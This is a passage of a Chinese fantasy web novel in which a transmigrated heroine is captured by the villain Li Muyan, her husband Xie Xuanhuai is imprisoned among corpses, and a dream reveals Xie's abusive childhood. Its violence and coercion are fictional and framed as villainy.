话音刚落,她手中的邀月剑就开始轻微震动起来,林月明低头一看,结果它震动的幅度越来越大了。
杨扶意脸色瞬间一变,道:“有邪祟。”
随着她的话音落下,十字路口就升起一股黑雾将他们笼罩在里。
杨扶意目光警惕起来,道:“注意别走散了。”
随即,她运起术法制出一个护盾,将四人护住,挡住了侵袭而来的黑雾。
林月明道:“这些黑雾怎么回事啊?”
杨扶意拧眉看着眼前的雾,她也不知道是怎么回事。
几人对黑雾一筹莫展,西北方的钦天监测卦台上,李慕言冰冷的凤眸望着被黑雾围紧的四人,明明生得是一幅观音面,可他淡漠的样子却无端令人生出几分距离感,显得冷情冷意起来。
夜风将他青色的袍袖吹得衣袂猎猎,他左手执着一串佛珠在手中捻着,右手掌心摊开,五指修长,骨节分明,润白如玉,两枚泛着蓝光的铜板便静静地飘浮在这掌心之上。
这时,一位侍从走过来,问他道:“公子,下一步怎么做?”
闻声,那艳冠满京华的面容动了动,侧眸看向侍从,薄唇轻启,淡声道:“将她带过去便好,其余的,不死便随他吧。”
他动作轻缓,优柔从容,然而下一刻,他猛地将飘浮的铜板一握,被黑雾围绕的那处瞬间爆出一道金光,杨扶意用术法造起来的盾被他轻易破碎,即使如此,他面上依旧维持着那镇定自若的浅淡笑意,事不关己,淡淡道:“这一卦,是凶。”
法盾被破开后,杨扶意脸色骤变,秀眉紧蹙着,道:“来者不善,且实力不弱。”
来人能一声不吭就破了杨扶意的盾,足以说明他的实力远在他们之上,盾破之后,黑雾急涌,试图将他们冲散,柳凝雪忙牵住了离她最近的谢玄淮的手,道:“别离开我。”
你要是离开我我就完了。
柳凝雪下定决心无论如何也不会放谢玄淮离开她。
然而,黑雾的目标似乎是她,全都靠她聚拢而来,柳凝雪吓得直接抱住了谢玄淮的手臂。
谢玄淮被她抱得轻啧了一声,眉头皱起看似一脸不耐
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烦的样子,但到底没有将她甩开。
他说道:“把符纸给我。”
柳凝雪丝毫没有迟疑,就将布袋里的符纸全部给了谢玄淮。
下一刻,谢玄淮就将自己的手抽了出来,改为搂住柳凝雪的腰,搂住她腰时,谢玄淮面色一顿。
心里想道:“以前怎么没发现她这么瘦。”
想罢,他将符纸放到柳凝雪怀里让她抱着,两指再抽出其中一张,举到眼前,低声不知念了句什么咒语,黄符立刻迸发出一道耀眼的光芒。
谢玄淮将手中符纸一掷,黄符如箭而出,穿透黑雾直向测卦台而去。
是追踪符,但又不是一般的追踪符。
黄符似离弦之箭,势不可挡,疾速直朝李慕言面门而来,李慕言眸光锐利一瞬,顺势运轻功往后退去,他右手一挥,散出两枚铜板,铜板顷刻间变大,符纸叮的一声刺在了铜板上。
李慕言脚跟落地踩稳,身上纹丝不乱,他右手在眼前再一挥,铜板又变回了原来的形态飘在他掌心。
他神色有些许意外,道:“禁术?”
谢玄淮凝望着测卦台的方向,剑眉微挑,略微惊讶,道:“挡下了?”
柳凝雪顺着他的目光望向测卦台,只一眼她就猜到了幕后主使,李慕言。
原书中的大反派,简直就是个恶人的存在,主角团最后差点被他团灭了。
若不是前期作者把他塑造的太强太无敌了,后期差点让主角be,作者也不会写出真爱无敌,邪定不胜正,强行让李慕言降智的剧情。
也因此,作者被李慕言激推及剧情党骂得体无完肤,当然如果她不这么写的话,按剧情发展,主角be,又引he党喷,要两个都避免重修剧情,又会引设定党喷,万一修崩了就更完了。
综合上述,柳凝雪觉得真惨,而现在,她对上这个全书的大恶人,像bug一样存在的李慕言,她觉得自己更惨!
黑雾越来越浓了,柳凝雪已经看不到杨扶意和林月明的身影了,她说道:“谢玄淮,雾浓了。”
谢玄淮眉目肃穆沉凝,从喉咙里发出一声“嗯”。
他望了测卦台片刻,转而对柳凝雪说道:“想出去吗?”
柳凝雪心想,这不是废话吗?
她的表情已经说明了一切,谢玄淮朝她伸出手,道:“那就把你的玉佩给我。”
他嗓音一改往常的冷淡,变得低沉柔和,像惑人的蛊虫。
但柳凝雪不是寻常人,且深知谢玄淮属性,当然不会轻易就被他给迷惑,她纠正他,道:“是借给你。”
说完,她将腰间的天山灵玉玉佩摘下放到他手中,他运用玉佩极为熟练,就像已经练过千百遍一样,明明他只用过一次。
谢玄淮单手结着印,速度快到只能看到五指的残影,玉佩被启用,分出数道灵玉符将他们团团围住,灵玉符动,阵法启。
一道绿光猛地迸出,将周围的黑雾震散,高台处的李慕言看见此状,眸光微变,这气息,是天山灵玉。
世间仅此一块的天山灵玉,竟然在他手中。
32. 囚禁
李慕言难得露出几分惊讶,侍从走过来,道:“公子,现在怎么办?”
李慕言道:“无妨,我亲自出手。”
浓雾被震散之后,柳凝雪隐约看到了林月明和杨扶意的身影,激动之下差点挣脱了谢玄淮的手,谢玄淮感受到怀里人的异动,搂紧了些,道:“别动。”
黑雾散去后不过片刻又围聚了过来,柳凝雪不敢再动,这时,她听到耳边断断续续传来衣服在地上来回摩擦的声音。
她转头一看,迎面对上一只面都烂掉了的女鬼!
“哇啊啊啊啊!!!”柳凝雪惊吓之下激动地喊了出来。
谢玄淮用力搂紧了柳凝雪,这才没至于让腿软的她掉下去。
女鬼的脸不是简单的烂掉,更像是死后被人用石头硬生生砸烂的,这才导致脸骨扭曲至极。
她张开血盘大口对着柳凝雪咬上去,谢玄淮反应及时,抽出柳凝雪怀里的符纸往鬼脸上一帖,女鬼立即尖叫着往后退,她一双利爪挡在脸前,想碰却不敢碰。
柳凝雪拍了拍胸脯,真是吓死她了,体感上京城的邪祟又变多了。
谢玄淮用灵玉符布阵,将黑雾彻底震散,可还没等他们缓过劲来,四周就爬来十数只鬼和横冲直撞的邪气。
林月明和杨扶意忙去和柳凝雪他们会合,杨扶意皱眉道:“快走,此地不宜久留。”
柳凝雪从他怀里离开,道:“那快走。”
她可不想把自己的小命搭在这里。
可刚说完,鬼怪邪物不知受了什么刺激,就像疯了一样涌上来,柳凝雪被冲得和几人散开,而那些鬼物多数围着她去。
柳凝雪又害怕又疑惑,这些东西怎么都向着她啊?
虽说那些鬼物缠着她,但又像是忌惮什么,不敢攻击她,在她面前晃动着,个个神色警惕。
这时,一阵清脆的铃铛声传入众人耳中,柳凝雪抬头看去,果见正对面的墙头上站着一人,穿得全身通黑,蒙着脸只露出一双如鹰隼般的眼,柳凝雪瞬间认出他就是之前在树林里给刘子闻解阵的人,没想到竟然还能在这里遇见他!
他手中正拿一个铃铛,铃铛声便是从他那里传来的,这个铃铛和刘子闻的不同,是铜制的,手镯大小的铜环穿着一颗大铃铛,大铃铛周边又有镶着几个小铃铛。
鬼物慢慢地逼近柳凝雪,似乎想把她逼进身后的小巷里,猜出了它们的意图,柳凝雪在原地站定不敢后退。
面对鬼怪,她无疑是害怕的,但更害怕身后黢黑的小巷里藏着的未知。
鬼物只离她一步之远了,那边的谢玄淮几人看到,想上前解救她,却又被更多鬼物扑上来攻击。
柳凝雪的手伸进布袋抓住了一把糯米就朝那些东西撒过去,不少鬼碰到糯米爆发出一阵惨叫声,尖锐刺耳,差点将人的耳膜刺破。
有用!
柳凝雪灵机一动,又抓住了一把糯米撒出去,大笑道:“哈哈哈哈!没想到吧!我还藏了一手!”
邪祟的等级不高,但碍于数量巨多,难以除完耗费人力。
柳凝雪往后退一步,鬼怪就前进一步,她又把手伸手了布袋里,对它们喊道:“你们别过来啊!我还有糯米的!”
然而下一刻,墙上的黑衣人似是不耐烦了,他施法让铃铛悬空发出声音,再一个轻功来到柳凝雪身前。
柳凝雪还没反应过来,就见银光一闪,软剑直穿向她门面。
她一惊,连忙扑向一边躲过,喊道:“喂喂喂!!!君子动口不动手!你不知道吗?”
那人却道:“都临死了还那么多废话!”
他声音粗哑至极,像干枯的老树,柳凝雪心中暗暗一顿,是人!糯米没用了!
柳凝雪和他僵持着,他刺他躲,反正就是不往后退,巷口处又被鬼物堵死了,进退两难。
在黑衣人准备又一剑刺来的时候,柳凝雪噌的一下跪了下来,哭喊道:“大人不计小人过,不知信女怎么惹了你,你就放过我吧,我上有老下有小,夫君还疯了,他们没了我不行啊!求求你放过我吧!”
听到此话的谢玄淮:???
他虽专心对付着鬼物,但耳朵还是很灵敏的,柳凝雪的话自然也被他一字不落地收入耳中。
为了表示自己的虔诚,柳凝雪还特意双手合十,黑衣人被她说得果然停顿了一下,而后再将剑慢慢放下,道:“我不会杀了你……”
话还没说完,黑衣人迎面就被撒了一把石灰,触到眼睛生疼,他忙一闭眼,耳边听到柳凝雪狂妄的笑声,道:“没想到吧!我还留了一手!想抓我?没门!”
柳凝雪刚想避开鬼物逃出去,措不及防身后迎来一掌劈在后脑上将她打晕了过去,谢玄淮见此,正要上前,冷不丁一把剑便架到了自己的脖颈上,他停下了动作。
——
晨光熹微,透过梅花窗棂落在室内,宽的床榻上,青绿的床帘闭口,阻挡了照进来的日光。
床帘厚重,柳凝雪醒来时,只看见昏暗的床顶,她皱了皱眉,伸手去揉发痛的后脑勺,昨晚不知道哪个扑街打了她一记手刀让她晕了过来。
直到现在后脑勺都还在发痛。
她迷迷糊糊地睁开眼睛,望着床顶发了一会儿呆才动作迟缓地坐起来,心里疑惑道:“这是哪里?”
柳凝雪按了按眉心,待头晕没那么重之后才掀开床帘,一打开床帘,眼睛便被灿烂的日光直射地闭起来,她伸手挡了挡,好一会儿才适应过来。
柳凝雪打量了周围一眼,全是陌生的景象,房间最下方,床榻的对角处有一扇门,是关上的。
她再看回屋中,右手边是备好的洗漱用具极衣裳首饰,最左边是梳妆台,正对床榻的是梅花窗棂。
柳凝雪没敢动屋里的东西,她起身环顾了周围一圈,往后倒退着冷不丁撞上一人的胸膛,坚硬宛如一堵墙,柳凝雪吓得转过身去,却见李慕言温润冷淡的眸子看着她,道:“是某失礼了。”
他的声音明明很温和,如沐春风,可听起来却莫名的让人心生寒意,好像眼前人是什么黏腻冰冷的毒蛇。
柳凝雪忍住心底泛起微微不适感,越过他去看他身后的房门,门是开
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着的。
她收回目光也不去看李慕言,道:“没事。”
柳凝雪的语气有些许不自在,李慕言却晃若未闻般,继续和她说着,道:“上次姑娘救了我,未曾留下姓名住处,不能过及时找到姑娘报恩,某因此郁闷了许久,幸而上天开眼,让你我得以再次相见。”
柳凝雪想起上次救他的场景,秀眉微微蹙起,道:“不过是举手之劳,不必挂怀。”
李慕言低眸盯着她看了一阵,才缓缓开口,吐出两个字,“是吗?”
柳凝雪不禁抬头去看他,看书的时候,李慕言这个角色就给她一阵强烈的不适感,现在真的面对了,还是忍不住泛恶心。
她向来不懂得隐藏自己的情绪,有什么不快都会表达在脸上,对李慕言的不喜也是。
她脸色冷了几分,问他道:“你想做什么?”
先是招邪祟攻击她,又把她打晕抓回来,她可不信他是为了报恩,要命还差不多。
李慕言并未因她的冷脸而表现半分的不快,道:“姑娘还没告诉我你的贵姓。”
柳凝雪白了他一眼,你搁这装什么呢?
她没好气道:“我姓柳,叫柳凝雪,是敬王世子的世子妃,你我独处一室甚是不妥,所以快点把我放了吧。”
也不知道李慕言是真耳聋还是故意的,他轻声道:“原来姑娘姓柳,唤凝雪。”
柳凝雪一脸神经病地看着他,道:“你到底想干什么?!快点把我放了!私自囚人,那是犯法的!”
李慕言垂眸打量了她几眼,身上穿的衣裳还是昨日,已经有些脏了,他微微皱起眉头,道:“先换身衣裳吧,脏。”
柳凝雪听完便低头看了眼自己,哪里脏了?明明她感觉还好啊。
她说道:“不换。”
李慕言眉头皱得更深了,道:“柳姑娘非要同某过不去吗?”
柳凝雪道:“过不去?是你囚人.妻子在先,这种违犯人伦的东西,是人都会感到不耻!”
“妻子?”李慕言面色不变,淡漠依旧,又轻又缓地说道:“那某只好把敬王世子杀了,这样柳姑娘便算不得为人.妻子了。”
“你!”柳凝雪被他气得失语,她怒瞪着李慕言,问道:“你把谢玄淮怎么了?”
李慕言垂眸不语,他身量本就高,不低头看着人的样子宛如居高临下睥睨着微不足道的蝼蚁。
柳凝雪抿了抿嘴,一咬牙,道:“行,我换,我换还不行吗?”
见李慕言站着不动,柳凝雪指了指门口,道:“你先出去!你不出去我就不换。”
这次李慕言并没有多言,转身出了房门,他坐在外室的茶座上,目光放空看着某一处,手中的佛珠被他一下一下地拨动着,内室是柳凝雪换衣裳时的悉悉索索声。
李慕言给她准备的衣裳华丽繁复,柳凝雪花了不少时间才穿好,衣裳整体呈淡青色,和他平时穿的很配。
柳凝雪只是脱去了两件外衣,其余的都没动,换好了之后,她过去开门走出去。
“我换好了。”柳凝雪道。
33. 灵血
李慕言正喝着茶,闻言放下了手中的茶杯。
柳凝雪问道:“谢玄淮在哪里?你为什么要抓我们?”
李慕言不语,转头上下打量了一下柳凝雪,见她身上干净了许多,微蹙的眉头才缓缓松开。
然而两人却像是各说各的,李慕言道:“若这几天有哪里不习惯或是不适的和我直说便好。”
明明长相温和柔美,似菩萨之像,可他的眼底却一片冰寒,容不下众生,视众生若无物,柳凝雪无疑也是那众生之一。
她忍着耐心和他交谈,道:“你到底要怎么样才肯放我离开?”
李慕言绕了几圈檀木佛珠的手拿过一端茶,慢声道:“除了离开这里,都可以。”
他动作斯文,不失风雅,声音犹如冰玉,人前他是礼仪周到,谈吐有度的世家表率,上京第一美人,可人后……
柳凝雪不掩讨厌的目光看着他,玉冠簪发,面如菩萨,心如蛇蝎。
以李慕言的执着和不舍,她短时间内是不可能从这里出去的了,柳凝雪呼了一口怨气,又问他,道:“杨扶意和林月明呢?”
李慕言道:“过来,喝茶。”
柳凝雪:“……”
她站在原地不动,李慕言也丝毫未见生气,若是换作旁人被人如此再三怠慢,早已气得赶人了。
他静静地将斟满茶的茶盏拿起放到对面,一点也不着急,他知道她会来的。
李慕言端起茶盏轻抿了一口,片刻之后,他眼前一抹绿影晃动,狭长的凤眸微抬,便见柳凝雪顺着座位坐了下来。
柳凝雪瞪着他,说:“现在你可以告诉我了吗?”
李慕言将茶盏放下,道:“喝茶。”
柳凝雪搭在膝上的两手紧握成拳,只一下又放开了,她端起茶盏一饮而尽。
她这样牛饮实属有失风雅,与对面的李慕言形成反比,李慕言纹丝不动地看着她,眼底一片冷静幽深。
柳凝雪将一口茶含在嘴里,啪的一声将茶盏重重放下,她眼含怨怒地瞪着他,似是在说你满意了吗?
李慕言拂了拂衣袖,道:“改日我会让侍女来教你言行举止,你实在太过粗鲁。”
柳凝雪的手紧紧抓着茶盏,恨不得将手中茶盏捏碎,含在嘴里的茶差点一口喷了出来,李慕言细品着手中的茶,无视她的举动,最后柳凝雪硬生生地咽下了这一口茶。
李慕言喝完半盏茶,方道:“你的两位朋友我已让人送了回去,只是还不能让她们醒这么快,只能委屈她们多睡一会儿了。”
知道杨扶意和林月明两人暂时安全了,柳凝雪心中的怨气才散去些许,两人身份显赫,李慕言还是有些忌惮的,只要等她们醒来,她和谢玄淮说不定就能离开这里。
可转而一想她们要多久才能醒来也未可知,这些全看李慕言心情。
喝完茶后,李慕言出了房屋,沿着直廊进到后院,再经曲廊来到府院最深处的院子里,他的别院依山傍水,在上京最南端,为的就是隐秘。
他抬步拾级而上,推开房门,一阵邪气扑面而来,李慕言面不改色地往前走,地上躺着爬着的全都是被他抓来试药的流民,他们衣裳破烂,形容不整,被喂药后,如蚁附膻,痛苦至极,全身上下被自己抓得没一块好皮肤,更有甚者,面目因药效而腐烂,眼珠被溶化。
他走过去坐在榻上,守在这里的侍卫立即从屏风后出来,跪地道:“公子有什么吩咐?”
李慕言淡声问:“还没炼成了吗?”
侍卫顿了一下,随后摇摇头,道:“没有。”
他的声音明显变得迟疑又带着惧意。
李慕言眸色一冷,缓缓抬眼看他,道:“从哪里找来就放回哪里。”
侍卫顿时松了一口气,道:“是。”
李慕言道完,便起身越过屏风去到后半间房,整间房用一扇巨大的缂丝屏风隔开两半,屏风上绣着四季景图,花鸟相怡。
后半间房间是他用来炼药及修行的地方,诺大的空间只放置了一个人高的丹炉及一张青色床帘的床榻。
他到床榻上坐着,抬手一挥,便将一旁新的材料隔空拿起投进丹炉中炼药。
因着上次修禁术被反噬的原因,他现在还不宜修行,只好先炼药了。
不过多久,一名黑衣人走了进来拱手向他汇报,道:“公子,你让属下查的事情已经查清楚了。”
李慕言道:“说。”
镀青直起身,道:“柳姑娘身上的血确实是世间罕见的复灵血。”
李慕言炼药的手一顿,念道:“复灵血吗?”
如此一切便说得通了,他一直觉得奇怪,自己为何会执着于她,既使查了不少古籍也找不出答案,后来他想到了血液,趁她昏迷时,他取了她血让镀青去查验,没成想,竟真如他所想的那般,她身怀复灵血。
血分三个等级,普通血,灵血,复灵血,这些都是天生就带有的。
身怀灵血的人可修炼,提升道行,而复灵血除了在修炼上比灵血更有天赋,也极易吸引邪祟缠身,更重要的是,只有用复灵血才能启动禁制之阵。
而他之所以频繁想到她,是因为修炼邪术的原因,邪祟喜喝人血,他身上沾了邪性,只要是有邪性的东西就抵抗不了复灵血。
禁术之所以被称为禁术就是因为它邪,禁术也因此被称为邪术,而他修炼禁术长达十年之久,早已邪气入骨,更别说谢玄淮,他身上的邪气比他更重,修炼的禁术必然和他不相上下。
他凭着高深的道行才勉强将邪气压下去不少,连他都抵抗不了复灵血的诱惑,谢玄淮又怎么忍受得了?
李慕言眸色深沉,静静地思量着,问镀青道:“他如何了?”
镀青答道:“还活着。”
李慕言脸上没什么表情,道:“那便去看看他。”
谢玄淮被李慕言抓回来后就一直关在地牢里,李家别院看似清幽僻静,实则是不少人的埋骨地,而在地牢里死去的人犹其多。
跟在李慕言身边的人一般都会称其为死牢。
刚一开门就有一股血腥气迎面袭来,现在眼前的是伤口残缺不全的肢体,流出的鲜血铺在地上这一块那一汪的,任谁见了这场面都会心生不适。
李慕言和镀青面无表情地往前走着,他们的脚步声很轻,几乎没有声音,谢玄淮似有所觉,他抬头看向来人。
李慕言把他抓来后便让人将他丢进这些半人半鬼的尸
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堆里,让他们互相厮杀。
此时的谢玄淮杀凶尸一夜未睡,早已精疲力尽,如今他一手撑在墙壁上微喘着气,勉力撑着不让自己跌倒,身上的锦衣,皙白的面容沾满了鲜血,唯独一双如耀石的眸子似淬了毒般看着李慕言。
李慕言看了眼他,又看了眼地上尸体,道:“没死吗?”
谢玄淮冷笑一声,道:“那还真是让你失望了。”
李慕言的目光落到他手中紧握的玉佩上,他手上的血还在不停地流向玉佩,分不清是他自己的还是那些死人的。
玉佩上的穗子已经断了,不知道丢在了哪里,李慕言蹙眉看着地上的残缺,道:“把这里处理干净。”
镀青应声,去外面喊了几个人进去一起清理现场的尸体。
李慕言看着谢玄淮,说道:“许久不见了,敬王世子。”
谢玄淮一抹脸边的血珠,冷哧道:“谁跟你许久不见了?”
“上京第一风雅韵士,人后竟是这幅样子,倒是令人意外,意外得让人恶心。”
李慕言不愧是上京仪态之表,即使如此也依旧可以面不改色,道:“与凶尸相斗的感觉如何?”
谢玄淮咬紧了牙关,看他的眼中恨意更浓,虽未回答可神情却说明了一切。
他将谢玄淮丢进凶尸堆里,除了试验就是纯折磨,现在他已经得到了他想要结果,只是谢玄淮还不能死这么快,他留他还有用。
谢玄淮冷笑道:“你自己来试一遍不就知道了?”
李慕言道:“或许要让世子失望了,你看不到那一天。”
谢玄淮目光一凝,眉眼狠戾迸现,咬牙问道:“你什么意思?”
他撑在墙上的手握成了拳,紧埋着手中硌人的玉佩,如果他死了,他不介意和李慕言同归于尽。
他又听李慕言说道:“天山灵玉是块好玉,可惜被你如此对待。”
谢玄淮听完,瞬间警惕起来,道:“你要做什么?!”
李慕言道:“倘若我取你手中玉佩呢?”
谢玄淮道:“休想!”
见他一幅要拼命的样子,李慕言不以为意,他道:“它会到我手中的。”
话落,他便转身离开了。
——
柳凝雪被李慕言囚禁在这间屋子里哪里也去不了,李慕言走的时候,她去试探过这门,门上有李慕言留下法阵,且这个法阵柳凝雪从未见过,更别说解开了。
柳凝雪郁闷地在房里走来走去,忽然她在脑海里喊道:“系统你给的死任务,现在完了,我的对手是李慕言,我怎么打得过他?谢玄淮也被他关起来了,万一他有个三长两短……”
说到这里,柳凝雪忙闭上嘴,又道:“呸呸呸!谢玄淮怎么会呢?攻略对象怎么会死呢?”
毕竟她从未在哪部小说里见过。
等了一会儿,也没见系统的回音,柳凝雪又在脑海喊了声,“系统?”
仍是没有回音,柳凝雪不禁疑惑道:“都到这时候了,系统莫不是在装死吧?”
柳凝雪在心里暗骂了系统几句,然而地牢里,李慕言走后,谢玄淮才慢慢靠着墙坐下来,他眼眸看着手上的玉佩,正发愣着,忽见玉佩闪了闪。
34. 入梦
谢玄淮面色略显奇异,但玉佩只是亮了一下又灭了,他等了许久都没能等到玉佩再亮起,他不禁怀疑自己是不是太累了出现幻觉了。
确定玉佩不会再亮起来的时候,谢玄淮紧握着它,靠着墙合上双眸歇息,不一会儿便传出了轻浅的呼吸声。
屋中檀香萦绕,香炉里燃着的烟袅袅升起,周遭一片寂静,针落可闻,仿佛陷入了孤寂的漩涡当中。
柳凝雪百无聊赖地躺在床上,双臂枕在脑后,一条腿曲起,另一条搭在曲起的腿上,清冽的双眸盯着帘顶出神。
现在已近日暮,屋里却没有燃灯,所见之处皆昏暗不已,李慕言自中午出去后就再没有出现过。
下午的时候有侍女来给她送饭,顺便续香,做完之后又出去了。
真搞不懂李慕言抓她到底要干什么。
柳凝雪再见到李慕言是几天之后了,她正坐在茶座上无聊地喝着茶,忽听屋门被人从外打开的声音,她抬头看去,便见一身青衣的李慕言走了进来。
他似是有些烦恼,平日里温润冷淡的脸上眉头微拧,进到屋里看到柳凝雪时,眉头蹙得更深了。
平日侍女也不常来这里,柳凝雪不怎么会挽发,所以头发时常乱糟糟的,且她刚起来没多久,也不知道李慕言会这时候来。
“来人。”李慕言唤来侍女,吩咐道:“带她去打理一下,乱。”
话落,两位侍女便围了上来,柳凝雪无意为难她们,且看今日李慕言难受的样子,她心里舒坦了不少。
是以,她也没多耽误,在侍女过来的时候,她就起身和侍女一起回内室了。
在梳发时,柳凝雪状似不经意地问她们,道:“你们来这里多久了?”
一位侍女道:“回姑娘,有十年了。”
李慕言在十七岁时买下的这座别院修炼禁术,十年应该死了不少人了,柳凝雪想着。
她又问道:“你们家公子最近在忙什么?”
侍女道:“奴婢不知,公子做什么,奴婢们作为下人是无权得知的。”
柳凝雪:“嗯。”
侍女手够灵巧,给柳凝雪挽了一个堕马髻,发上斜簪了两根碧玉簪,再配上其他钗饰,露出饱满光洁,肤如凝脂,唇点丹朱,她那双明亮的眼眸似乎总含着笑意,温婉的面容也因这双眼睛而显得朝气明媚。
柳凝雪抬眸看了眼镜中的自己,发出由衷的心声,嗯,确实很好看。
整理完发型出来的时候,李慕言已经煮好了一壶茶,他蹙紧的眉头已然松开,又恢复了往常那般平和温润。
李慕言见到她时,眼中多了几分满意,对她说:“坐。”
柳凝雪在他对面坐了下来,她被他看得有些许不适,就好像在欣赏一只自己精心设计的木偶一样。
她低头喝着茶,尽量不去看他,她问道:“你还要囚禁我到什么时候?”
她的语气有些冷,很不近人情,面对李慕言,她实在摆不出什么好脸色,打心底里地排斥他。
听完,李慕言眸底冷了下来,道:“你为何总想着离开?这里有什么不好吗?”
柳凝雪皱眉道:“你囚禁我的意义在哪里?”
“我与你无怨无仇,你为什么就这么执着于我?如果你真的是想报恩,那就放我离开。”
李慕言说话还是一贯的温和,道:“我若不呢?”
柳凝雪被他气得哑言,“你!”
她轻呼了一口气,平复一下情绪,道:“为什么?就因为我当初救了你吗?谁会信。”
李慕言道:“凝雪,知道太多对你无益,你只须好好待在这里即可。”
柳凝雪不掩厌恶地说道:“不要叫我名字,恶心。”
李慕言执杯的手一顿,面不改色道:“你会习惯的。”
柳凝雪不想再和他争执下去,他脸皮厚得出奇,可她刚一起身,就听李慕言语气不变地命令她,“坐下。”
柳凝雪一点也不理会他,转身走出几步,又听李慕言说道:“你再多走出一步,他们就多一分危险。”
他们自然指的是谢玄淮,杨扶意和林月明,江荨和沈如珩,或者是她认识的所有人,李慕言向来说到做到,柳凝雪只能停下了脚步,她听到李慕言站起向她走来的动静。
他每逼近一分,身后袭来的檀香味就更浓一点,直至那股浓烈的檀香味完全将她包容,鼻尖处全是檀香的气息。
柳凝雪袖下的手暗暗握紧,她咬着牙,忍着那道讨厌的檀香。
李慕言低眸看着她,轻声软语道:“只要你好好待在这里,我保证他们不会受到一丝伤害。”
他离这样近,不过一手的距离,紧接着他抬手将什么东西插.进了她的发间,动作轻缓温柔,又带着股依依不舍。
下一秒,柳凝雪就把发间的东西取了下来,一看竟是根簪子,是她上次刺死蛇的那支。
柳凝雪顿感一阵恶心,身后的李慕言又道:“你还是这样不听话,若是做成一个木偶,又显得无趣。”
他说着抬手欲触碰柳凝雪的侧脸,却被柳凝雪躲开了,他的手顿在了半空好一会儿才放下。
李慕言道:“你觉得我们只见过一面,其实我们已经见过很多次了,敬王府,赵国公府,司灵监,满春楼……”
李慕言越说,柳凝雪脊背越泛起一阵恶寒,心里不再只是对他感到恶心厌恨,还有无尽的恐惧。
敬王府和赵国公府离上京最中间的测卦台只有一条街的距离,司灵监旁侧有一座高楼名为钦天监,满春楼那晚邀月剑的巨烈震动,白天上满春楼的不止有江荨他们……
柳凝雪越想脸色越发的白,恶心的程度差点让她没忍住吐出来。
这个人自救了他那时刻起,自己的动向无时无刻不被他掌握在手中。
柳凝雪咬牙怨恨道:“你简直卑鄙无耻!”
李慕言低声道:“凝雪,我一直在……”
——啪!
清脆的耳光声在寂静的屋子里响起,李慕言还未说完,就结结实实地被柳凝雪扇了一耳光,她几乎是用尽了全力去扇他,他原本润白的面庞顷刻间现出一个清晰的巴掌印,脸被打得偏向一边。
柳凝雪眼中的怒意未平,李慕言五指修长的手轻抚上了自己的面庞,饶是被扇了一巴掌,他也并不生气,眼底平静得可怕。
柳凝雪已经听不下他说的话了,看着他的神情满是厌恶,她道:“李慕言,你让我感觉到恶心。”
随即,她转身回了内室,看到他只会让她反感想吐。
柳凝雪在床上躺着发呆,双目放空看着帐顶,她脾气来得快去得也快,只是一想到她要被一直囚禁在这里,还要面对着李慕言这种人,她就感觉恶心。
带
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着发型睡觉并不好受,柳凝雪伸手去将头上的发簪拔掉,再把头发散下来。
她已经好几天没睡好了,没想到这一躺下,双眼一闭就睡了过去。
滴——滴——滴——
【梦往程序已开启,请宿主做好准备。】
接下来又是滴滴几声的机械声,柳凝雪猛地睁开眼睛,发现自己正处一个陌生的环境中,她站在古色古香的房间里,有些茫然地望着四周。
还没等她反应过来,就听一道清脆的耳光声响起,啪的一下,吓得柳凝雪回过头去。
她一转身就见眼前的床榻上侧躺着一个女子,她脸色发白,面容虚弱,一双杏眼恨意浓浓,看着被她打得倒在地上的小孩的目光宛如利箭。
“滚!”她冷冷吐出一个字。
那小孩看着约莫三岁大,正是懵懵懂懂的年纪,此时的他也不知道自己为什么被她打,只是默默地擦眼泪,哽咽着。
他站起身,去捡被女子打翻的碗,肉嘟嘟的小手慢慢地捡起一片又一片的碎瓷,眼泪还在不停地流。
这时,一个身穿黑衣的男子慢步走进了房屋,见床上地上的一大一小,说道:“怎么了?”
柳凝雪细细打量着这两个人,眉眼都和谢玄淮有七八分像,男子走到床边坐下,刚想伸手去扶女子,没想到却被女子给拍开了,她道:“别碰我!”
女子的恨意不减反增,简直是恨不得把眼前的人生撕了。
男子却一点也不生气,反笑道:“这般生气是不满意这个孩子吗?阿蔓,他可是我们的孩子,你不喜欢吗?你不喜欢我们的儿子吗?你若不喜欢,我们再生一个,生一个女儿怎么样?”
阿蔓冷笑声道:“谢行远,你还能再卑鄙无耻一点吗?你怎么能让人这么恶心?看到你我就想吐!你给我滚!”
谢行远仍旧柔声和她说:“阿蔓,我待你如此好,你的心怎么这么冷,成婚这四年来,我无时无刻不在想着你,念着你,你喜欢孩子,我们便要了一个,你想要什么我都会无条件给你,你怎么就不动心呢?”
阿蔓眸光轻抬,看着他,一字一句道:“谢行远,这个孩子怎么来的,你比我清楚。”
小小的孩子还听不懂他们在说什么,但他知道一到这个时候,父母就会吵架,吵得很厉害,每次吵完架后两人的身上都会出现许许多多的伤痕。
谢行远目光一冷,看向地上的人,就好像在看一个物件一般,他道:“出去。”
小男孩捡完了地上的碎瓷就慌张地退了出去,他很怕自己的父亲。
他一走,柳凝雪本想看看这两人要做什么的时候,就渐渐感觉有些不对起来,无论阿蔓怎么反抗,辱骂,谢行远也牢牢抓着她的双手放置在头顶处,另一手托着她的腰让她平躺,自己再倾身压上去。
明白他们在做什么的时候,柳凝雪瞬间涨红了脸,忙跟着小男孩一起出去了。
然而,当她来门外的时候,才发现谢玄淮并没有走,他双手拿着碎瓷,面无表情地坐在房前的台阶上,此时的他年纪尚小,完全不懂房中的母亲为何哭得那样惨,只知道他们肯定在吵架。
房中夹杂着喘.息的哭声不断,柳凝雪听着越发的不自在了,她伸手在谢玄淮面前挥了挥,喊道:“喂!你看得见我吗?”
很明显,是看不见,她现在完全是灵魂一般的存在。
35. 谢小淮
正当柳凝雪无措时,她忽然见谢玄淮站了起来,拿着手中的碎瓷走了。
柳凝雪一路跟着他来到花园里,他躲到了假山后,坐在地上,将碎瓷片放到一边,仰着小小的脑袋望着广阔无垠的天空,看着那道翻不过的高墙。
他虽没什么表情,但柳凝雪却有些触景生情,莫名多了几分伤感。
她想着,既然这是谢玄淮小时候,那就叫他谢小淮吧。
谢小淮抬头看着墙外的天空,专注而认真,这时的他还是个乖巧天真的小孩子。
那他是怎么成长为之后那个疯批样的?
柳凝雪百思不得其解,结果下一秒,眼前的情景突然变得模糊起来,画面一转,柳凝雪来到了墙外。
墙外的天地空阔,柳凝雪随意扫了眼,却看到躺在地上不知死活的谢小淮!
他的头下流了一片血迹,血沾湿了他白色的衣襟,他双目紧闭着,眉头蹙紧。
柳凝雪忙走了上去,焦急地喊道:“谢小淮?!谢小淮!!你快醒醒啊!别睡了!”
喊着,柳凝雪便要伸手去扶他,结果自己的手却直直地穿过了他,她忘了现在的自己只是一个灵魂,别人看不见,自己也碰不得。
怎么办?
